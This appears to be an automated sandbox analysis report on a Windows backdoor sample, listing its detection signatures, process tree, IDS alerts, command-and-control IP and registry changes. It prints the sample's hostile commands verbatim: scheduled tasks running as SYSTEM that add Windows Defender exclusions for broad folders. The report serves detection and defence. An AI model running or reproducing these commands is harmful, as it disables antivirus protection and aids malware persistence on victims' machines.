Edit tour

Windows Analysis Report
153776434-874356550.05.exe

Overview

General Information

Sample name:	153776434-874356550.05.exe
Analysis ID:	1592389
MD5:	3507cab36b2aa201dad19d45e54536e3
SHA1:	82eb43bb4cef50507da337c960d31a41739b6426
SHA256:	7810c7f09309c58591406a9e7bb174cb48a0f8493102bd19ab3b3fecdb8f68f1
Tags:	backdoorexesilverfoxwinosuser-zhuzhu0009
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

AI detected suspicious sample

Adds extensions / path to Windows Defender exclusion list (Registry)

Creates an undocumented autostart registry key

Drops PE files to the document folder of the user

Found direct / indirect Syscall (likely to bypass EDR)

Machine Learning detection for dropped file

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

Sample is not signed and drops a device driver

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Switches to a custom stack to bypass stack traces

Tries to delay execution (extensive OutputDebugStringW loop)

Tries to detect virtualization through RDTSC time measurements

Uses cmd line tools excessively to alter registry or file data

Uses schtasks.exe or at.exe to add and modify task schedules

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Creates files inside the driver directory

Creates files inside the system directory

Creates or modifies windows services

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE

Sigma detected: Windows Defender Exclusions Added - Registry

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

153776434-874356550.05.exe (PID: 7320 cmdline: "C:\Users\user\Desktop\153776434-874356550.05.exe" MD5: 3507CAB36B2AA201DAD19D45E54536E3)

ocGsp4.exe (PID: 7756 cmdline: C:\Users\user\Documents\ocGsp4.exe MD5: D3709B25AFD8AC9B63CBD4E1E1D962B9)

ocGsp4.exe (PID: 7784 cmdline: C:\Users\user\Documents\ocGsp4.exe MD5: D3709B25AFD8AC9B63CBD4E1E1D962B9)

cmd.exe (PID: 7872 cmdline: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7928 cmdline: SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7944 cmdline: SCHTASKS /Run /TN "Task1" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7976 cmdline: SCHTASKS /Delete /TN "Task1" /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 8044 cmdline: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 8100 cmdline: SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8116 cmdline: SCHTASKS /Run /TN "Task1" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8140 cmdline: SCHTASKS /Delete /TN "Task1" /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 2308 cmdline: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 2568 cmdline: SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6096 cmdline: SCHTASKS /Run /TN "Task1" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2516 cmdline: SCHTASKS /Delete /TN "Task1" /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 2200 cmdline: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 2316 cmdline: SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\user\Documents\" /t REG_DWORD /d 0 /f" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3608 cmdline: SCHTASKS /Run /TN "Task1" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6352 cmdline: SCHTASKS /Delete /TN "Task1" /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

U5Mb5c.exe (PID: 2416 cmdline: "C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

cmd.exe (PID: 2088 cmdline: cmd /c echo.>c:\xxxx.ini MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

SibbEG.exe (PID: 1312 cmdline: "C:\Program Files (x86)\SibbEG\SibbEG.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

cmd.exe (PID: 7960 cmdline: cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 8024 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 8132 cmdline: cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 6092 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 1704 cmdline: cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 6048 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 7112 cmdline: cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 6492 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

U5Mb5c.exe (PID: 7596 cmdline: "C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

s87cvg4.exe (PID: 1228 cmdline: "C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

U5Mb5c.exe (PID: 6904 cmdline: "C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

s87cvg4.exe (PID: 7092 cmdline: "C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

U5Mb5c.exe (PID: 7960 cmdline: "C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

s87cvg4.exe (PID: 8008 cmdline: "C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

U5Mb5c.exe (PID: 3852 cmdline: "C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

s87cvg4.exe (PID: 4192 cmdline: "C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

cleanup

Yara Signatures

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.ocGsp4.exe.2760000.1.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0x1fb0f:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x1fbc2:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x1fcd2:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x1fc20:$e2: Add-MpPreference -ExclusionPath

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F, CommandLine: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Users\user\Documents\ocGsp4.exe, ParentImage: C:\Users\user\Documents\ocGsp4.exe, ParentProcessId: 7784, ParentProcessName: ocGsp4.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F, ProcessId: 7872, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE

Source: Process started

Author: frack113: Data: Command: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f, CommandLine: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f, CommandLine|base64offset|contains: , Image: C:\Windows\System32\reg.exe, NewProcessName: C:\Windows\System32\reg.exe, OriginalFileName: C:\Windows\System32\reg.exe, ParentCommandLine: cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7960, ParentProcessName: cmd.exe, ProcessCommandLine: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f, ProcessId: 8024, ProcessName: reg.exe

Sigma detected: Windows Defender Exclusions Added - Registry

Source: Registry Key set

Author: Christian Burkard (Nextron Systems): Data: Details: 0, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\reg.exe, ProcessId: 8024, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData

Suricata Signatures

ETPRO MALWARE Backdoor/Win.Gh0stRAT CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-16T03:55:23.026425+0100	2852901	1	Malware Command and Control Activity Detected	192.168.2.4	63360	8.210.209.78	8917	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Program Files (x86)\k65O7cr6i\tbcore3U.dll	Avira: detection malicious, Label: TR/Redcap.vdzex
Source: C:\Program Files (x86)\SibbEG\tbcore3U.dll	Avira: detection malicious, Label: TR/Redcap.vdzex
Source: C:\Program Files (x86)\SibbEG\tbcore3U.dll	Avira: detection malicious, Label: TR/Redcap.vdzex

Multi AV Scanner detection for submitted file

Source: 153776434-874356550.05.exe

Virustotal: Detection: 12%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\k65O7cr6i\tbcore3U.dll	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\SibbEG\tbcore3U.dll	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\SibbEG\tbcore3U.dll	Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 39.103.20.17:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.103.20.17:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 118.178.60.9:443 -> 192.168.2.4:63221 version: TLS 1.2

Source:	Binary string: d:\work\iGiveButton\toolbar4\Release_bin\uninstall.pdb source: U5Mb5c.exe, 00000026.00000000.2415597084.0000000000848000.00000002.00000001.01000000.0000000A.sdmp, U5Mb5c.exe, 00000027.00000000.2438859747.0000000000848000.00000002.00000001.01000000.0000000A.sdmp, U5Mb5c.exe, 00000027.00000002.2456794407.0000000000848000.00000002.00000001.01000000.0000000A.sdmp, s87cvg4.exe, 00000028.00000002.2457899867.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmp, s87cvg4.exe, 00000028.00000000.2442858307.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmp, SibbEG.exe, 0000002C.00000002.2702660951.0000000000618000.00000002.00000001.01000000.0000000E.sdmp, SibbEG.exe, 0000002C.00000000.2695823984.0000000000618000.00000002.00000001.01000000.0000000E.sdmp, U5Mb5c.exe, 0000002D.00000000.2859167785.0000000000848000.00000002.00000001.01000000.0000000A.sdmp, U5Mb5c.exe, 0000002D.00000002.2869675445.0000000000848000.00000002.00000001.01000000.0000000A.sdmp, s87cvg4.exe, 0000002E.00000000.2862831227.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmp, s87cvg4.exe, 0000002E.00000002.2874245980.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmp, U5Mb5c.exe, 0000002F.00000000.3450279785.0000000000848000.00000002.00000001.01000000.0000000A.sdmp, U5Mb5c.exe, 0000002F.00000002.3473572394.0000000000848000.00000002.00000001.01000000.0000000A.sdmp, s87cvg4.exe, 00000030.00000002.3482779528.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmp, s87cvg4.exe, 00000030.00000000.3462122428.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmp, U5Mb5c.exe, 00000031.00000000.4051130378.0000000000848000.00000002.00000001.01000000.0000000A.sdmp, U5Mb5c.exe, 00000031.00000002.4064586101.0000000000848000.00000002.00000001.01000000.0000000A.sdmp, s87cvg4.exe, 00000032.00000000.4056005011.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmp, s87cvg4.exe, 00000032.00000002.4069989124.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmp, SibbEG.exe.5.dr
Source:	Binary string: c:\tools_git_priv\truesight\driver\objfre_win7_amd64\amd64\TrueSight.pdb source: 189atohci.sys.0.dr
Source:	Binary string: y:\avsdk5\engine\make\build\public\64-bit\vseamps.pdb source: ocGsp4.exe, 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmp, ocGsp4.exe, 00000004.00000000.1981866400.0000000140014000.00000002.00000001.01000000.00000008.sdmp, ocGsp4.exe, 00000005.00000000.2001161229.0000000140014000.00000002.00000001.01000000.00000008.sdmp, ocGsp4.exe.0.dr
Source:	Binary string: spinner-x64.pdb source: 153776434-874356550.05.exe

Change of critical system settings

Adds extensions / path to Windows Defender exclusion list (Registry)

Source: C:\Windows\System32\reg.exe	Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\ProgramData	Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Users	Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Program Files (x86)	Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Users\user\Documents	Jump to behavior

Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior

Source: C:\Users\user\Documents\ocGsp4.exe

Code function: 4_2_00007FFE1320A1B8 FindFirstFileExW,

4_2_00007FFE1320A1B8

Source: C:\Users\user\Documents\ocGsp4.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	4_2_000000014000DFFE
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	4_2_000000014000DDFF
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4x nop then movsxd rbx, qword ptr [r14+10h]	4_2_0000000140011270
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	4_2_000000014000DE96
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	4_2_000000014000DEFB
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	4_2_000000014000E178
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	4_2_000000014000DDD9

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2852901 - Severity 1 - ETPRO MALWARE Backdoor/Win.Gh0stRAT CnC Checkin : 192.168.2.4:63360 -> 8.210.209.78:8917

Source: global traffic

TCP traffic: 192.168.2.4:63360 -> 8.210.209.78:8917

Source: global traffic

TCP traffic: 192.168.2.4:63217 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 118.178.60.9 118.178.60.9

Source: Joe Sandbox View

ASN Name: CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
